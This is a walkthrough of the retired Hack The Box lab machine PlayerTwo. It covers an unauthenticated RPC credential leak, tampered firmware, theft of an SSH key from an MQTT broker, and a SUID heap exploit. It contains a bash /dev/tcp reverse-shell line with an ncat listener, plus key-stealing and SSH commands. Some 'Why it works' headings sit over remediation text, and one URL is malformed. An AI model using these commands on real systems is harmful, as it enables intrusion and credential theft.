PlayerTwo
Summary
The attacker enumerated three exposed services on <retired-instance-ip> — SSH on port 22, Apache on port 80, and a PHP Twirp RPC service on port 8545 — and discovered two virtual hostnames: player2.htb and product.player2.htb.
The Twirp RPC service exposed its own protobuf schema file (generated.proto) without authentication, and a GenCreds RPC method within it returned a username, password, and TOTP shared secret, fully defeating the two-factor-protected firmware management portal on product.player2.htb.
After authenticating, the attacker downloaded the reference Protobs firmware archive, located the embedded ELF at offset 0x40, and overwrote a code stub with a reverse-shell dropper — deliberately leaving the signature bytes the portal's integrity check examined untouched.
The tampered package passed all portal validation checks and was executed server-side, producing a web-service shell.
From that foothold, a loopback MQTT broker on port 1883 was found to be publishing firmware-signing job data without requiring authentication; the payload on the signing topic included the SSH private key for the local user observer, which was captured and used to log in directly.
Root access was then obtained by exploiting the non-PIE SUID binary /opt/Configuration_Utility/Protobs: a one-byte null-byte heap overflow on the Description field corrupted an adjacent chunk's size metadata, and a subsequent dereference of the stale (freed) Description pointer produced a use-after-free.
Chaining the two primitives against glibc 2.29 heap internals hijacked control flow inside the SUID process and spawned a root shell.
Attack path — how the box was taken
Mapped exposed services and discovered virtual hostnames, then Retrieved full login credentials and TOTP seed from the unauthenticated Twirp GenCreds method, then Authenticated through the two-factor firmware portal using attacker-generated credentials, then Patched the firmware ELF with a reverse-shell dropper while preserving the signature bytes, then Uploaded the malicious firmware and received a reverse shell as the web service account, then Captured the observer user's SSH private key from the unauthenticated loopback MQTT broker, then Logged in as observer over SSH with the stolen key and captured the user flag, then Chained a heap null-byte overflow and use-after-free in a SUID root binary to gain a root shell.
Exact commands 2
nmap -Pn -sV -p 22,80,8545 --script http-title,http-headers $TARGETecho "$TARGET player2.htb product.player2.htb" | sudo tee -a /etc/hostsExact commands 2
curl -sS http://$TARGET/:8545/generated.proto -o /tmp/generated.protocat /tmp/generated.protoExact commands 2
python3 -c "import pyotp; print(pyotp.TOTP('<TOTP_SECRET>').now())"curl -sS -b /tmp/player2.cookies -c /tmp/player2.cookies -X POST -d 'otp=<TOTP_CODE>' http://$TARGET/totpExact commands 2
curl -sS -b /tmp/player2.cookies -o /tmp/protobs_firmware_v1.0.tar http://$TARGET/protobs/protobs_firmware_v1.0.tar && curl -sS -b /tmp/player2.cookies -o /tmp/protobs.pdf http://$TARGET/protobs.pdfmkdir /tmp/fw && tar xf /tmp/protobs_firmware_v1.0.tar -C /tmp/fw/Exact commands 2
echo 'bash -i >& /dev/tcp/<attacker_ip>/34444 0>&1' > /tmp/x && python3 -m http.server 8081ncat -lvnp 34444Exact commands 2
mosquitto_sub -h 127.0.0.1 -p 1883 -t '#' -vmosquitto_sub -h 127.0.0.1 -p 1883 -t '$SYS/internal/firmware/signing' -C 1 > /tmp/observer_id_rsa && chmod 600 /tmp/observer_id_rsaExact commands 2
ssh -i /tmp/observer_id_rsa -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 observer@$TARGET 'cat /home/observer/user.txt'ssh -i /tmp/observer_id_rsa -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null observer@$TARGETExact commands 2
find / -perm -4000 -type f 2>/dev/nullfile /opt/Configuration_Utility/Protobs && checksec --file=/opt/Configuration_Utility/ProtobsAttack patterns used
The transferable techniques behind the compromise.
Unauthenticated RPC endpoint exposure / credential generation (information disclosure)Credential Access
What it is
The Twirp RPC service on port 8545 served its own protobuf schema (generated.proto) to any visitor without authentication. That schema defined a GenCreds RPC method. Calling the method with an empty JSON body returned a valid username, password, and TOTP shared secret — the complete credential set needed to pass the firmware portal's two-factor login. No brute-force was required.
Why it works
Remove GenCreds from the public-facing service entirely; if automated credential provisioning is needed it must be an authenticated, audited, and out-of-band administrative workflow. Require at minimum a pre-shared API key or mutual TLS for all Twirp RPC calls, and restrict retrieval of the .proto schema file. Consider whether the firmware portal and its RPC back-end need to be internet-facing at all; if not, place them behind a VPN or restrict them to an allowlisted set of source IP addresses.
Firmware integrity check bypass — content not covered by signatureExploitation
What it is
The reference archive (protobs_firmware_v1.0.tar) contained Protobs.bin, info.txt, and a version file. The protobs.pdf datasheet described the signing scheme; the portal's verification checked file structure and the header's signature region but not the byte content of the ELF body. The embedded ELF began at offset 0x40 within Protobs.bin. A known no-op stub inside the ELF was overwritten with a one-liner that fetched and executed a reverse-shell script from an attacker-controlled HTTP server — all signature bytes at their original offsets were left untouched. The version string was incremented to 1.1, and the archive was repacked under a new filename.
Why it works
Generate an RSA or ECDSA signature over the SHA-256 hash of the fully assembled package — every byte of every file — not just a header checksum. The signing private key must be held offline and never reachable from the portal server. Before executing any uploaded firmware, recompute the content hash, verify the signature against the pinned public key, and reject the package on any mismatch. Additionally, run the firmware execution step in a sandboxed or namespaced environment (e.g., a dedicated low-privilege service account, Linux namespaces, or a container) so that a future bypass yields only limited rather than full web-server code execution.
Credential theft from unauthenticated message brokerCredential AccessT1552
What it is
A loopback MQTT broker on 127.0.0.1:1883 was reachable from the www-data shell without any authentication. Subscribing to the wildcard topic '#' showed the broker was actively publishing firmware-signing job events on the topic $SYS/internal/firmware/signing. The message payload included a PEM-encoded OpenSSH private key belonging to the local account observer. The key was saved directly from the broker message to disk.
Why it works
Enable MQTT authentication (username/password at minimum; mutual TLS preferred) and configure a per-topic ACL so that only the specific service accounts that legitimately need access to a given topic can publish or subscribe to it. Never transmit secrets — SSH keys, API tokens, passwords — as message payloads; use indirect references such as a job ID that the recipient resolves against a secrets manager. Bind the broker to the loopback interface only if external access is not needed and firewall port 1883 from all untrusted network segments.
Heap off-by-one null-byte overflow + use-after-free in SUID binaryPrivilege EscalationT1068
What it is
The SUID binary /opt/Configuration_Utility/Protobs ran as root, was compiled without PIE (fixed load address), and linked against the host's bundled glibc 2.29. Reverse engineering exposed two heap vulnerabilities: (1) writing to the Description field allowed a one-byte null-byte overflow past the buffer's end, corrupting the prev_size or size field of the adjacent heap chunk; (2) after the Description was freed, the code retained and later dereferenced the now-stale pointer (use-after-free). Chaining the off-by-one to manipulate heap chunk metadata and then triggering the UAF produced attacker-controlled writes into glibc 2.29 heap internals — targeting __free_hook or an equivalent function pointer — which redirected execution to a shell. Because the binary ran SUID root the resulting shell was a root shell.
Why it works
Audit and correct all Description buffer write operations so that lengths are enforced with explicit bounds checks using safe string functions (e.g., strnlen/snprintf with the exact buffer size). Zero-out and set pointers to NULL immediately after free to eliminate the use-after-free. Recompile with full hardening: PIE (-fPIE -pie), full RELRO (-Wl,-z,relro,-z,now), stack canaries (-fstack-protector-strong), and NX. Evaluate whether SUID root is necessary; if the utility only needs access to specific privileged resources, replace the SUID bit with targeted Linux capabilities (setcap). Keep the bundled glibc updated to a supported release.
Findings
Exposed services
| External surface | An nmap service scan revealed SSH on 22, Apache 2.4.29 on 80, and a PHP 7.2.24 application on 8545. HTTP responses referenced the virtual hostnames player2.htb and product.player2.htb; adding those entries to /etc/hosts exposed a static marketing site on the former and a login-plus-TOTP firmware management portal on the latter. Port 8545 accepted Twirp-style HTTP/JSON requests and was identified as the RPC back-end for the product portal. |